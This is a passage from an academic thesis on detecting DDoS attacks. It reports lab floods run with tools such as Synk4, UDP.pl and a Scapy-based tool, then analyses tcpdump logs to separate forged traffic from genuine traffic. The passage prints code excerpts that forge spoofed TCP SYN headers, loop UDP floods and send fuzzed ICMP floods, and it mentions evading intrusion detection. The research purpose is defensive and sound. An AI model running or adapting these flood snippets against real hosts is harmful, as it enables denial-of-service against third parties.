  tcp_h->th_ack = htonl(tcp_ack_number); 
  tcp_h->th_off = 5; 
  tcp_h->th_flags = tcp_flags; 
  tcp_h->th_win = htons(tcp_window); 
  /* Add data */ 
  if (data_len > 0) { 
    memcpy(tcp_pkt + sizeof(tcp_h_t), 
data, data_len);} 
  /* Wrap IP-Layer */ 
  return hy_build_ip_packet( 
src_pattern,  dst_pattern, ip_v_assumption, packet, packet_len, 
tcp_pkt, tcp_pkt_len,IP_PROTO_TCP, ip_ttl),‎…} 
 
Example of code that builds a forged TCP header. 
 
Depending‎on‎the‎attackers’‎needs,‎ the‎approach‎above‎assists‎ the‎attacker‎in‎manipulating‎
the packets to look genuine or completely forged. In the above example, the DDoS attacker 
uses C programming functions to build and alter the TCP header information such as TCP 
sequence numbers (tcp_h->th_seq), TCP flags (tcp_h->th_flags) and TCP source/destination 
port numbers (tcp_h->th_sport and tcp_h->th_dport) instead of allowing the operating system 
resources to generate the TCP header values. Then all the forged header entities are merged 
to create a forged packet (hy_build_ip_packet (src_pattern,dst_pattern, ip_v_assumption, 
packet,packet_len,tcp_pkt,tcp_pkt_len,IP_PROTO_TCP, ip_ttl);}).   
 
The following are some examples of attacks and DDoS tools that have been experimented 




The author builds TCP header from values that 
are defined by the attacker (if the attacker does 
not wish to define any values; the code 
generates the values by default). Then values 
will be wrapped with the IP layer, which can also 
be defined by the attacker.  
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A) TCP DDoS Attack  
We deployed Synk4 [247] in the environment shown in Figure 4-3 and used tcpDump [188] as 
the network analyser (on the virtual Linux router). The victim machine has Windows 7 running 
as a virtual host. Synk4 is a simple yet powerful tool that is capable of sending relatively large 
amounts of forged packets to a particular destination. Although Synk4 is designed to introduce 
one effective type of attack, we selected it due to its ability to introduce resource and 
bandwidth depletion in one piece of code and the ability to easily integrate with other DDoS 
attacks such as Network Auto Attacks.To issue an attack, one has to provide the 
source/destination IP address coupled with low and high port numbers (see Figure 4-5). The 
attacker can use any range of source IP and/or port numbers. 
 
Figure  4-5: Synk4, SYN TCP flood. 
We used tcpDump on the Linux router to identify and analyse the traffic between the attacker 
and the victim. A small portion of the results is shown in Figure 4-6. 
 
Figure  4-6: TcpDump analysis of SYN TCP flood. 
As seen in Figure 4-6, the source IP addresses are random while the destination machine 
(victim) is 10.0.0.3. Different ranges of destination port numbers are chosen by the attacker to 
confuse the destination target. Flags [S] indicate continuous SYN requests, which is part of the 
SYN flood (see Synk4 Code Analysis).   
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Synk4 Code Analysis   
Synk4 is written in C for UNIX like operating systems and it is also compliable with any 
versions of GNU [71]. We compiled Synk4 under Linux Debian [52] using GNU 4.4 compiler. 
Synk4 is a typical TCP DDoS attack that can be very effective in unprotected network 
environments. In this section, we focus on the relevant parts of Synk4 code. These include 
altering TCP header information and how they can be forged for the purpose of DDoS attacks. 
The following part of the code defines the TCP forging process where the attacker and not the 
operating system resources (codes) define the header values. We only show the relevant part 
of the code here, refer to Appendix 4-2 for full Synk4 source code.  
void spoof_open(unsigned long my_ip, 
   unsigned long their_ip  unsigned short srcport,   
   unsigned short desport){ 
  #define SEQ 0x28376839 
  struct iphdr ih; 
  struct tcphdr th;   
  struct timeval tv; 
  gettimeofday(&tv, 0); 
  th.source   = htons(srcport); 
  th.dest     = htons(desport); 
  th.seq      = htonl(tv.tv_usec); 
  th.doff     = sizeof(th) / 4; 
 th.seq=htonl(SEQ); 
  th.ack_seq  = 0; th.res1= 0,  
  th.fin      = 0; th.syn   = 1; 
  th.rst      = 0,  th.psh  = 0; 
  th.ack      = 0 th.urg  = 0 ; th.res2 = 0;  
 th.window   = htons(65535); 
  th.check    = 0; 
  th.urg_ptr  = 0; 
 send_tcp_segment(&ih, &th, "", 0) 
send_seq = SEQ+1+strlen(buf);;} 
int main(int argc, char *argv[]) 
{------- 
    urip = 1;else 
  me_fake = getaddr(argv[1]);  them = getaddr(argv[2]); 
  lowport  = atoi(argv[3]); highport = atoi(argv[4]); 
  if(lowport < 1 || 65535 < lowport || highport < 1 || 65535 < highport){ 
    return 1; } 
 
 
In this part of the code, TCP header entities are hardcoded using the spoof function (void 
spoof_open ()). This includes TCP flags (th.syn = 1, th.psh = 0, th.urg = 0, etc.), TCP sequence 
number (#define SEQ 0x28376839, th.seq=htonl(SEQ);) while other TCP header entity 
variables are assigned to zero. This means the program does not use the operating system´s 
code or Kernel to allocate values to the TCP header entities. To change the TCP entity values, 
the attacker needs to edit the source code and recompile it. However, other DDoS tools such 
as Hyenae (see later) give the option to enter all the header information from the command-
line to make it look like genuine traffic. In the main function, the author puts a limit on port 
numbers between 1 and 65535.  At the same time, there are checking mechanisms to avoid 
segmentation violation (accessing a memory address that does not belong to the process). 
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B) UDP DDoS Attack  
We deployed the attack on the same network setup as the Synk4 attack (Figure 4-3) where 
the attack tool was executed from Debian machines. We used the UDP.pl tool [54] as our 
flooding tool (UDP attack) and Wireshark [234] as the network analyser on the Linux router. 
The target machine (victim) was chosen to be a Linux machine. After executing a UDP DDoS 
attack, the network was flooded with UDP forged packets as shown in Figure 4-7.  
 
Figure  4-7: UDP attack in an isolated environment. 
 
As seen in Figure 4-7, we can see that the network is flooded with UDP packets from 10.0.0.2 
destined for 10.0.0.3 with 43 bytes length. The attack tool can also generate randomised 
source IP, but for the purpose of this example we selected fixed source IP. This size of a 
packet is relatively small, but very effective in the network, which can be seen in Figure 4-8.  
 
 
Figure  4-8: Packet numbers per unit time. 
 
As can be seen from Figure 4-8, UDP traffic introduced high volume of traffic in the network 
when the number of packets rose to 3500 packets per unit time. This is relatively high for a 
quiet network with no other UDP traffic. The result shown in Figure 4-8 is the outcome of a one 
zombie UDP DDoS attack and the impact will be higher when the attack is generated from 
multiple zombies (see Section 4.10).  
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UDP.pl Code Analysis:  
UDP.pl code is written in the Perl programming language. We only show the relevant part of 
the code, for the full source code refer to Appendix 4-3. 
use Socket; 
$ARGC=@ARGV; 
if ($ARGC !=3) { 
 printf "$0 <ip> <port> <time>\n"; 
 printf "if arg1/2 =0, randports/continous packets.\n"; 
 exit(1);} 
my ($ip,$port,$size,$time); 
 $ip=$ARGV[0]; $port=$ARGV[1]; $time=$ARGV[2]; 
socket(crazy, PF_INET, SOCK_DGRAM, 17); 
- - -  
-  
for (;;) {$size=$rand x $rand x $rand;  $port=int(rand 65000) +1; 
send(crazy, 0, $size, sockaddr_in($port, $iaddr));} 
 
 
The code is designed to take parameters such as port numbers, IP address and time duration 
(printf "$0 <ip> <port> <time>\n";) from the attacker to forge the header information. If the 
attacker does not provide such values, then random values are generated by the code (for (;;) 
{$size=$rand x $rand x $rand; $port=int(rand 65000) +1). Like any other DDoS attack tools, 
this feature is used to increase the strength of the attack and confuse the destination target. 
Getting such values from the attacker prevents the operating system resources to influence the 
packet generation.  
C) ICMP DDoS Attack 
An ICMP DDoS attack like other DDoS attacks is capable of overloading the network and the 
destination buffer with forged ICMP packets. To demonstrate such an attack, the same 
network settings as shown in Figure 4-3 are used to launch an ICMP DDoS attack. Network-
Auto Attack tool [184] is used to launch an ICMP flood of forged packets. We designed and 
implemented this tool in order to examine the characteristic features of ICMP, UDP and TCP 
DDoS attacks. It is mainly based on Scapy [22] and it is written in Python programming 
language [107]. With this tool, one can change IP, ICMP, UDP and TCP header information 
according to the attacker´s requirements (i.e. forged or look-a-like genuine). This means an 
attacker can manipulate header information to make the packets appear either genuine or 
forged. Figure 4-9 shows a representation of an ICMP attack captured by tcpDump. 
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Figure  4-9: ICMP attack captured by tcpDump. 
 
As shown in Figure 4-9, both IP and ICMP header information are forged and changed 
according‎ to‎ attackers’‎ needs‎ (randomised‎ header information in this case). Figure 4-10, 
shows different ranges of forged ICMP packet numbers (high and low). This occurs when the 
attack changed from high to low rate attack. The strength of the attack is shown around 1600 
packets. This figure is relatively high for a quiet network with no other ICMP traffic. However, 
the strength is slightly reduced to 900 packets since the Kernel of the virtual Linux Router 
between the victim and the zombies dropped some packets (due to Kernel architecture [223]). 
Yet, 900 packets is still considered to be suspicious as this type of attack is known to be a low 
rate DDoS attack (see Chapter 1, Section 1.9). Again, this result is produced using one 
zombie; multiple zombies can introduce a proportionally larger effect (see Section 4.10). 
Network-Auto Attack tool is designed to launch high and low rate DDoS attacks.  
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Network Auto Attack Tool code Analysis  
As mentioned before, Network Auto Attack [184] is based on the Scapy package, which 
provides all the necessary libraries to manipulate packets on different network layers 
(application, transport or network). It can also be used as a zero-day program since an 
attacker can manipulate packet headers accordingly to introduce a relatively new type of 
attack that is based on old DDoS attacks. It has the ability to introduce low rate attacks in 
order to bypass basic Intrusion Detection Systems. Due to the potentially severe security 
implications inherent in this tool, the source code is not included in this thesis. However, the 
relevant parts of the code are shown below while the rest of the code is available only on 
request. 
 
print "\nPlease enter IP information\n" 
<While-and-if statements> 
 source = int(raw_input("Please Enter 1 for default eth0 IP or 2  
for your chosen IP: ")) 
         <putting some conditions > 
   source = raw_input('Please Enter any/your source IP: ') 
a = int(raw_input('Please enter IP TTL or  
type zero as defualt (64): ')) 
<variables for default values> 
while i: 
i = int(raw_input('Please Enter IP "ID" number. 1 to enter  
your own "ID" number or 2 for random id: ')) 
if i == 1: 
i  = int(raw_input('Enter Id number: ')) 
i =random.randint(1,20) 
print "Please Either number 1 or 2" 
print "\nICMP Header\n" 
p=send(IP(src=source,dst=dest,ttl=a,id=i)/ICMP(id=j,seq=se),loop=L) 
print "Packets have been sent, Big thank from Alan :)" 
<default variables> 
print "\nPlease enter IP information\n" 
dest = raw_input('Enter Destinatioin IP address: ') 
source = int(raw_input("Please Enter 1 for default eth0 IP or 2 for your chosen IP: ")) 
source = get_ip_address('lo') 
source = raw_input('Please Enter any/your source IP: ') 
print "How many Maasive attack you wish launch? Between 1-4 (4 is the highest)" 





 send(fuzz(IP(src=source,dst=dest))/ICMP(id=random.randint(8,22)), loop=1) 
send(fuzz(IP(src=source,dst=dest))/ICMP(id=random.randint(15,30)), loop=1) 
 
The program receives inputs from the attacker and assigns them as variables. If the attacker 
chooses to give a wrong value such as one that is out of range, the tool corrects the attacker 
by providing another chance, or the attacker can choose its built-in default or randomised 
values. In this part of the code, the values are IP (IP(src=source,dst=dest)) and ICMP 
(ICMP(id=random.randint(1,20)) header information that the attacker enters to manipulate the 
attack or to look genuine.  
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Once the values are received from the attacker, the application uses Scapy´s built-in libraries 
to assemble a packet, using a fuzz function, and flood it over different networks 
(fuzz(IP(src=source,dst=dest))/ICMP(id=random.randint(1,20)). This tool is designed to 
manipulate any header entities of TCP, UDP and ICMP protocol to look genuine or forged 
packets provided the functions and libraries from the Scapy package are called by the Python 
framework.  
We analysed and examined other DDoS tools and approaches to learn about their behaviour 
during DDoS attacks. The following are examples.  
LetDown DDoS tool 
LetDown [100] is designed to be very powerful and effective for launching a TCP DDoS flood. 
According to the author, LetDown is a full TCP flooder and not a simple SYN flooder, which is 
capable of interrupting the TCP communication at any stage. It is considered to be a 
sophisticated TCP attack since most popular signature based Intrusion Detection Systems 
failed to detect the attack [192]. For example, Snort [179] a popular signature based Intrusion 
Detection System, could not detect the attacks; an issue discussed within its community forum 
[192].  This was due to the fact that at the time of LetDown´s release, Snort did not have the 
right signature to detect it. Figure 4-11 shows the complete README file of LetDown and how 
it works, while Figure 4-12 shows sample examples of the attack captured by tcpDump. 
 
Figure  4-11: LetDown README file and how LetDown works. 
Figure 4-11 is the README file from the LetDown attacking tool, where the author describes 
how LetDown works in three steps. These three steps make the attack capable of avoiding 
signature based detection mechanism if the signature is not available in the detection´s 
database.  
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Figure  4-12: LetDown attack in action. 
Figure 4-12 shows TCP attack by LetDown with a length size of zero and different values of 
sequence‎numbers.‎Refer‎ to‎ the‎CD‎provided‎ to‎ learn‎more‎about‎ LetDown’s‎ features‎ and‎
source code (named as complemento).  
Hyenae DDoS tool  
Hyenae [46] is an advanced network forged packet generator that is used to launch ICMP, 
UDP and TCP DDoS attacks over both IP versions 4 and 6. It can be executed as single or 
multiple daemons at different geographical locations to introduce DDoS attacks. Hyenae has 
the ability to bypass routers or firewalls and flood the target machine due to its low and high 
rate packet generation. Figure 4-13 shows the list of attacks that Hyenae can introduce.  
 
Figure  4-13: List of attacks that Hyenae can introduce. 
Figure 4-14 shows a typical ICMP DDoS attack from different machines to one target machine 
(10.0.0.3).‎Refer‎to‎the‎CD‎provided‎to‎learn‎more‎about‎Hyenae’s‎features‎and‎source‎code. 
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Figure  4-14: ICMP DDoS attack, from spoofed and infected devices. 
 
Tribe Flood Network (TFN)   
Like the other DDoS attack tools, TFN [45] consists of client and daemon programs that are 
manually (by the attacker) or automatically (Trojan) installed across the network. The clients 
and the daemons are usually located in different geographical locations as shown in Figure 1-
13, Chapter 1. TFN is capable of launching ICMP, SYN and UDP floods as well as attacks like 
Smurf. Blowfish [27] is used to encrypt the list of daemon IP addresses that assist the attack 
process. The client and the daemon programs require root privilege to operate. TFN is further 
improved with some enhancements to a newer version called TFN2K (TFN 2000). The main 
improvements are the introduction of IP spoofing in combination with exploiting operating 
systems to malform packets for the purpose of crashing the target machine.  An attacker can 
execute commands to launch the attack without logging to the client. Furthermore, the TFN2K 
communication between the clients and daemons takes place using TCP and UDP. This is 
rather limited to ICMP echo replies in TFN DDoS attack tool [45] [27]. Like the other DDoS 
tools, TFN forges packets and sends them as floods to a particular destination using its built-in 
libraries. Criscuolo provided a technical description of TFN and other DDoS tools such as 
Trin00 and Stacheldraht [40]. He also conducted experiments to identify their strength and 
technical use. To understand the tool, we used the same network environment as shown in 
Figure 4-3. The following graph (Figure 4-15), shows an attack generated with one zombie 
(low rate).  
 
Figure  4-15: One zombie attack. 
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From the above graph, we can see that the number of packets per seconds can go up to 500 
packets, using one zombie. The figure can go significantly higher when multiple clients and 
daemons are involved in the attack (see Section 4.10).  
Stacheldraht 
Stacheldraht [47] is considered powerful, and capable of crashing any computer devices. It 
can flood the network with different network and transport layer packets. As represented in 
Chapter 1, Figure 1-13, Stacheldraht has handler and zombie architecture. Stacheldraht is 
designed to encrypt its communication channels between handlers, clients and zombies. Such 
behaviour makes it difficult to trace or analyse the communication channel to diagnose 
activities. Just as in previous tests, we conducted and used the simple topology represented in 
Figure 4-3 with two zombies. We launched TCP, UDP and ICMP DDoS attacks and monitored 
the traffic using IPTraf [231] as shown in Figure 4-16. Refer to the CD provided to learn more 
about‎Stacheldraht’s‎features‎and‎source‎code.‎ 
 
Figure  4-16: DDoS attack in action. 
IPTraf provides detailed statistical information about the network traffic passing through. We 
have selected IPTraf because it is considered to be an excellent tool to provide a variety of 
figures such as byte counts, number of connections and packet numbers on different 
interfaces. Nevertheless, tcpDump can provide such information, but it requires more 
administrative tasks (e.g. automation and scripting). On the other hand, these features are 
built in IPTraf and do not require extra administrative tasks. Furthermore, tcpDump is primarily 
designed to capture packets and output their fields such as ICMP-ID, TCP- Sequencing, IP 
source and destination number, etc.  
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As shown in Figure 4-16, in 6 seconds the network experienced 314419 TCP, 294627 UDP 
and 298668 ICMP in-coming packets from two zombies. The impact will be larger if more 
zombies are used to launch the attack (Section 4.10). Since Stacheldraht forged these 
packets, IPTraf did not record out-going responses to these packets.  
After launching different DDoS attacks in the environment shown in Section 4.3, the following 
points have been learned about DDoS attack behaviours: 
 The more zombies are used during the DDoS attacks, the more powerful the attacks 
get (see Section 4.10). 
 Both old and new DDoS tools manipulate TCP, UDP and ICMP headers to confuse 
and bypass local network Intrusion Detection Systems and to reach the victim. The 
manipulation is either to forge the packet headers or to change them to look like 
genuine. 
 To be more effective, both old and new DDoS tools use their own built-in custom code 
as opposed to operating system resources when launching DDoS attacks. This is to: 
o Change the rate of the attack accordingly when desired. 
o Easily‎forge‎the‎packet‎headers‎according‎to‎attackers’‎requirements.‎ 
o Avoid anti-virus detection when zombies are installed across-different 
platforms. If a zombie uses operating system libraries to launch the attack, the 
local anti-virus (if available) may detect it. To avoid that risk, the installed 
zombie uses its own built-in libraries [25].  
 Most DDoS tools are designed to introduce high rate DDoS attacks as opposed to low 
rate.  
 
4.6 DDoS Attack Collection 
We have chosen the environment explained in Figure 4-3 to launch DDoS attacks using the 
tools shown in Table 4-1. Some of these attacks are out-dated and some of them are new, but 
the purpose is to launch different DDoS attacks and file them in text files using tcpDump. Then 
the data files are investigated and analysed as explained in Section 4.7. In our experiments, 
we used the following approaches. 
 Created up to 180 virtual hosts.  
 The number of zombies was between 20 and 180.  
 Two or more tools were used at the same time in each DDoS attack. 
 High and low rate attacks were used. 
 The tools provided many different attacks, but we only focused on ICMP, UDP and 
TCP DDoS attacks (see Chapter 3, Section 3.5). 
 
Example of DDoS log files (log text format) is available in Appendix 4-4.  
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4.7 Normal and Abnormal Traffic Analysis  
After‎we‎retrieved‎and‎logged‎all‎ the‎ traffic,‎using‎ tcpDump,‎ from‎various‎networks‎(physical‎
and‎virtual‎environments),‎we‎manually‎cleaned‎the‎traffic‎logs‎of‎non-usable‎characters‎(e.g.‎
semicolons,‎ brackets,‎ greater/smaller‎ signs‎ etc.).‎ These‎ characters‎ are‎ produced‎ by‎ the‎
network‎analyser‎(tcpDump)‎ to‎provide‎meaningful‎readable‎ text‎ that‎helps‎in‎understanding‎
the‎source‎or‎the‎destination‎of‎the‎traffic‎as‎well‎as‎their‎header‎information.‎For‎example,‎in‎
the‎following‎retrieved‎traffic‎line:‎ 
14:44:01.982286 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto ICMP (1), length 84) 10.0.0.18 > 
10.0.0.15: ICMP echo request, id 8710, seq 4, length 64 
 
tcpDump says, at 14:44 a packet from 10.0.0.18 address with IP header  information (tos 0x0, 
ttl 64, id 0, offset 0, flags [DF], proto ICMP (1), length 84) is heading to destination 10.0.0.15 
holding ICMP (echo request, id 8710, seq 4, length 64). The header information of the IP 
packet represents the following patterns (see Chapter 1, Section 1.3): 
 





ICMP header information or entities are (see Chapter 1, Section 1.3): 










Type of service. 
Unused bit, mostly  
zero. 
Time to live of 
the packet. 
Identification No: It 
increments each 
time a packet is 
sent.  
 
Used for the purpose of 
packet fragmentation 
(here says do not 
fragment). 
Protocols that IP 
holds. In this 
case ICMP. 
Total length of 
IP datagram. 
ICMP protocol 
ICMP echo request  
Type 0. Used for 
Diagnostic purposes. 
ICMP-ID that is used to 
recognise the packet 
in the network.  
Shows the sequential  
order of the packets 
Total length of 
ICMP.  
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14:43:58.980801 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto ICMP (1), length 84) 10.0.0.18 > 
10.0.0.15: ICMP echo request, id 8710, seq 1, length 64 
14:43:58.980821 IP (tos 0x0, ttl 64, id 0, offset 0, flags [none], proto ICMP (1), length 84) 10.0.0.15 > 
10.0.0.18: ICMP echo reply, id 8710, seq 1, length 64 
14:43:59.981949 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto ICMP (1), length 84) 10.0.0.18 > 
10.0.0.15: ICMP echo request, id 8710, seq 2, length 64 
14:43:59.981968 IP (tos 0x0, ttl 64, id 0, offset 0, flags [none], proto ICMP (1), length 84) 10.0.0.15 > 
10.0.0.18: ICMP echo reply, id 8710, seq 2, length 64 
14:44:00.982221 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto ICMP (1), length 84) 10.0.0.18 > 
10.0.0.15: ICMP echo request, id 8710, seq 3, length 64 
 
Example 4-1: Genuine ICMP  traffic between two devices. 
 
During this process, we identified patterns that clearly separate genuine packets from forged 
packets. These patterns are characteristic features of genuine protocols produced by the 
operating system and not from the DDoS attack tools (see Chapter 1, Section 1.3 for more 
information on ICMP header). The IP/ICMP traffic in Example 4-1 is a typical, genuine ICMP 
echo request/reply traffic between hosts 10.0.0.18 and 10.0.0.15. The following points are 
noted: 
 Typically ICMP traffic refers to either one-to-one or one-to-many (broadcasting) 
devices [33]. In the above scenario, it is one-to-one.  
 On the ICMP header, the ICMP sequence numbers are in order starting from 1, 2, 3 
and go up until the traffic between them stops. 
 The ICMP-ID number does not change between the two devices (to identify its traffic).  
 
The DDoS attackers re-engineered this process in order to confuse the destination machine 
and crash the operating system by filling up its buffer with a large amount of packets as shown 
in Example 4-2. 
17:04:18.576303 IP (tos 0x0, ttl 128, id 12080, offset 0, flags [none], proto ICMP (1), length 28) 
12.43.68.110 > 10.0.0.15: ICMP echo request, id 15, seq 4, length 8 
17:04:18.576307 IP (tos 0x0, ttl 128, id 20955, offset 0, flags [none], proto ICMP (1), length 28) 
12.43.43.153 > 10.0.0.15: ICMP echo request, id 142, seq 156, length 8 
17:04:18.576307 IP (tos 0x0, ttl 128, id 735, offset 0, flags [none], proto ICMP (1), length 28) 
12.43.14.131 > 10.0.0.15: ICMP echo request, id 186, seq 26, length 8 
17:04:18.576311 IP (tos 0x0, ttl 128, id 12925, offset 0, flags [none], proto ICMP (1), length 28) 
12.43.84.132 > 10.0.0.15: ICMP echo request, id 130, seq 172, length 8 
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If we manually compare the traffic in Example 4-2 with Example 4-1, we can observe the 
following abnormal behaviours: 
1. One of the key features of DDoS is that the packets are generated from different 
locations. In the above scenario (Example 4-2), the traffic is from many sources to one 
destination.  
2. ICMP sequence numbers do not change in order (they are random).  
3. ICMP-ID numbers are random whereas in genuine traffic this value does not change 
for the same traffic.  
 
At this point, we refer to such characteristic features as abnormal behaviour since they do not 
operate as genuine traffic does. After further study and investigation, such abnormal 
behaviours are finalised and verified to be the characteristic features (patterns) that separate 
genuine traffic from DDoS traffic (see Section 4.8). We further analysed these abnormalities 
against other ICMP DDoS attack logs to identify similar features within different ICMP attack 
methodologies. This was to discover the common repetitive behaviours between different 
ICMP attack methodologies. As a result, we identified the same abnormalities among other 
ICMP DDoS attack approaches. Table 4-2 shows the relationship between some attack 
methodologies with different DDoS approaches and the abnormal behaviours described earlier 



















1 Yes Yes Yes/No Yes Yes 
2 Yes Yes Yes Yes Yes 
3 Yes Yes Yes Yes Yes 
 
Table  4-2: Relationship between tools/methodologies and abnormal ICMP patterns. 
 
The results from Table 4-2 represent the outcome of a manual process of cross matching the 
most abnormal ICMP characteristic patterns found in the ICMP DDoS log files with different 
DDoS‎tools‎and‎methodologies.‎In‎this‎context‎―Yes‖‎indicates‎an‎occurrence‎in‎the‎behaviour 
and‎ ―Yes/No‖‎means‎ the‎behaviour‎can‎occur‎based‎on‎the‎attacker´s‎wishes.‎For‎example‎
the attacker can introduce an attack that is generated from one source IP address or from 
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We have also investigated such abnormalities with UDP protocol and identified that DDoS 
engineers forge the communication protocol packets to confuse the victim. In Example 4-3, 
device (source IP 10.0.0.16, source port 57621) broadcasts to all other the devices within the 
same subnet (destination IP 10.0.0.255) using UDP packets of 40 bytes in length (genuine 
traffic).  
19:19:18.439559 IP (tos 0x0, ttl 64, id 51340, offset 0, flags [none], proto UDP (17), length 68) 
10.0.0.16.57621 > 10.0.0.255.57621: UDP, length 40 
Example 4-3: Genuine UDP broadcast. 
 
In example 4-4, a DNS query [50] using UDP packet is requesting Facebook´s IP addresses 
for client 10.0.0.4 to connect to Facebook (a genuine request).  
 
19:23:10.548471 IP (tos 0x0, ttl 255, id 53157, offset 0, flags [none], proto UDP (17), length 62) 
10.0.0.4.52911 > 10.0.0.1.53: 1+ A? www.facebook.com. (34) 
Example 4-4: DNS query- UDP packets.  
Each part of the request can be explained as: 




Like ICMP DDoS attacks, the attackers use their own functions and libraries as part of the 
DDoS attack tool to manipulate UDP packet headers to look genuine and to 
increase/decrease the rate of the attack (for high and low rate). The following UDP DDoS 
attack code is an example of packet manipulation (See Appendix 4-5 for the full source code).  
/* Build UDP header */ 
 udp_h = (udp_h_t*) udp_pkt; 
 udp_h->uh_sport = htons(src_pattern->port); 
 udp_h->uh_dport = htons(dst_pattern->port); 
 udp_h->uh_ulen = htons(sizeof(udp_h_t) + data_len); 
 if (data_len > 0) { /* Add data */ 
 memcpy( 
udp_pkt + sizeof(udp_h_t), 
data, data_len); } 
  /* Wrap IP-Layer */ 








Source port and IP 
address.  
Destination IP & port 
number 
1 means identification number, + means 
recursion is desired (possible security 
issues), A? means that the query is type A 
(requesting IP addresses of Facebook), 
the length is 34 bytes.  
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The attackers manipulate source, destination port numbers and the data length (udp_h-
>uh_sport=htons(src_pattern->port), udp_h->uh_dport= htons(dst_pattern->port ) and udp_h-
>uh_ulen = htons(sizeof(udp_h_t) + data_len);). Then the UDP packets are wrapped in the IP 
layer packets (hy_build_ip_packet()). The result of the above of code in combination with other 
dependency codes of the UDP DDoS source code produce forged traffic that can be seen in 
Example 4-5.  
 
04:10:32.127939 IP 185.127.177.127.28 > 10.0.0.22.35: UDP, length 1000 
04:10:32.149565 IP 177.147.157.140.6 > 10.0.0.22.35: UDP, length 1000 
04:10:32.943017 IP 157.157.177.148.27 > 10.0.0.22.35: UDP, length 1000 
04:10:33.502919 IP 156.181.118.143.12 > 10.0.0.22.35: UDP, length 1000 
04:10:34.382532 IP 10.20.20.22.473  > 10.0.0.22.22: UDP, length 1000 
04:10:35.113214 IP 110.142.132.184.64 > 10.0.0.22.3: UDP, length 1000 
04:10:36.022691 IP 118.113.100.188.84 > 10.0.0.22.5: UDP, length 1000 
04:10:36.736227 IP 120.107.170.151.1 > 10.0.0.22.11: UDP, length 1000 
04:10:37.056389 IP 150.100.171.168.80 > 10.0.0.22.26: UDP, length 1000 
04:10:37.674191 IP 145.118.184.117.87 > 10.0.0.22.44: UDP, length 1000 
04:10:37.674322 IP 145.167.142.141.63 > 10.0.0.22.443: UDP, length 1000 
04:10:37.736244 IP 22.12.12.22.1 > 10.0.0.22.11: UDP, length 1000 
04:10:37.056390 IP 22.12.12.22.80 > 10.0.0.22.26: UDP, length 1000 
04:10:37.674200 IP 22.12.12.22.87 > 10.0.0.22.44: UDP, length 1000 
04:10:37.674300 IP 22.12.12.22.63 > 10.0.0.22.443: UDP, length 1000 
 
 Example 4-5: Forged packets UDP DDoS attack traffic. 
The above sample is a small portion of the overall log files generated by the UDP DDoS attack 
tools. Given further analysis and comparison of the UDP attack behaviour, the following 
abnormalities are observed in the DDoS attack log files:  
1. The attack is generated from different IP addresses to one destination IP. However 
during the attack the attacker changes the source IP to be fixed (last four lines).  This 
behaviour is used by DDoS attackers to confuse the detection systems [31] [121] 
[175].  
2. Source and destination port numbers of the UDP DDoS attack are randomised. Such 
behaviour makes the victim´s buffer become overloaded and crash [31] [121] [175].   
3. The length of the packet is 1000 bytes (normally this is less depending on the type of 
traffic). However, some attackers reduce this value to look genuine.  
 
Later, we cross-matched the results with other UDP DDoS attack files for such abnormal 
behaviours (points 1 to 3) and recorded the results in Table 4-3.  
Abnormal patterns UDP flood DNS Query flood Fraggle attack DoS UDP 
1 Yes/No Yes Yes Yes 
2 Yes/No Yes/No Yes/No Yes/No 
3 Yes Yes Yes/No Yes/No 
 
Table  4-3: Relationship between tools/methodologies and abnormal UDP patterns. 
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In Table 4-3‎―Yes‖‎ indicates‎occurrence‎of‎the‎behaviour‎and‎―No/Yes‖‎means‎the‎behaviour‎
can occur based on the attacker´s wishes. For example, the attacker can introduce a 
randomised source or destination port number or the attacker can make it look genuine.  
We repeated our experiments in the environment shown in Figure 4-3 to learn and experience 
TCP DDoS attack behaviours. Since the TCP protocol is used in combination with other 
communication protocols to establish connections, DDoS attackers make use of its existing 
protocol rules to create forged versions of TCP packets. Example 4-6 is a genuine TCP three-
way handshake process between client/server before exchanging data.  
15:04:49.050227 10.0.0.12.34348 > 10.0.0.20.pop3: S 2974284112:2974284112(0) win 5840 (DF)   
15:04:49.190076 10.0.0.20.pop3 > 10.0.0.12.34348: S 2862911212:2862911212(0) ack 2974284113 win 
5840 (DF)   
15:04:49.190168 10.0.0.12.34348 > 10.0.0.20.pop3: ack 1 win 5840 (DF) 
 
Example 4-6: TCP three-way handshake  
 
The above three-way handshake process is a genuine mechanism between any clients and 
servers, which can be simplified in the following manner (also refer to Chapter 1, Section 1.3.3 
three-way handshake) [213] [125].  
1. The client (10.0.0.12) sends a SYN segment specifying the port number of the 
destination device (10.0.0.20) that the client wishes to connect to. The request 
contains an Initial Sequence Number (S 2974284112:2974284112). 
2. The server then responds with its own Initial Sequence Number and acknowledges 
the client´s SYN by taking the Initial Sequence Number of the client plus one (S 
2862911212:2862911212(0) ack 2974284113) - see line two of the above traffic.  
3. Then in line three, the client acknowledges the acknowledgement. 
 
Example 4-7 is another example of genuine TCP traffic between two genuine applications 
across the network that uses push and dot flags [213] to move data from one device to 
another (genuine traffic). 
08:22:11.749314 IP 172.16.23.133.35606 > 81.167.38.80.443: Flags [.], ack 55534, win 62780, length 0 
08:22:11.749966 IP 81.167.38.80.443 > 172.16.23.133.35606: Flags [P.], seq 55534:56982, ack 2063, 
win 64240, length 1448 
08:22:11.749987 IP 81.167.38.80.443 > 172.16.23.133.35606: Flags [P.], seq 56982:58430, ack 2063, 
win 64240, length 1448 
08:22:11.749996 IP 172.16.23.133.35606 > 81.167.38.80.443: Flags [.], ack 58430, win 62780, length 0 
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The code blocks shown in Section 4.5 is a typical example of TCP DDoS attack code that 
assists the attacker to alter TCP header information based on the attacker´s needs. Such an 
attack can result in the outcome shown in Example 4-8.  
13:37:54.701349 IP 120.73.158.152.44 > 10.0.0.13.133: Flags [S], seq 4160911429, win 0, length 0 
13:37:54.701350 IP 120.55.106.131.43 > 10.0.0.13.3: Flags [S], seq 1861192940, win 0, length 0 
13:37:54.701354 IP 120.73.138.104.81 > 10.0.0.13.43: Flags [S], seq 3614032824, win 0, length 0 
13:37:54.701355 IP 120.36.184.110.74 > 10.0.0.13.22: Flags [S], seq 1870648983, win 0, length 0 
13:37:54.701355 IP 120.18.182.147.27 > 10.0.0.13.80: Flags [S], seq 48882150, win 0, length 0 
13:37:54.701359 IP 120.55.182.178.20 > 10.0.0.13.67: Flags [S], seq 1472294815, win 0, length 0 
 
Example 4-8: TCP traffic being forged by DDoS attacker. 
 
After collecting the packets and analysing the results, we noted the following abnormalities. 
1. The attack is generated from different IP source addresses to one destination or from 
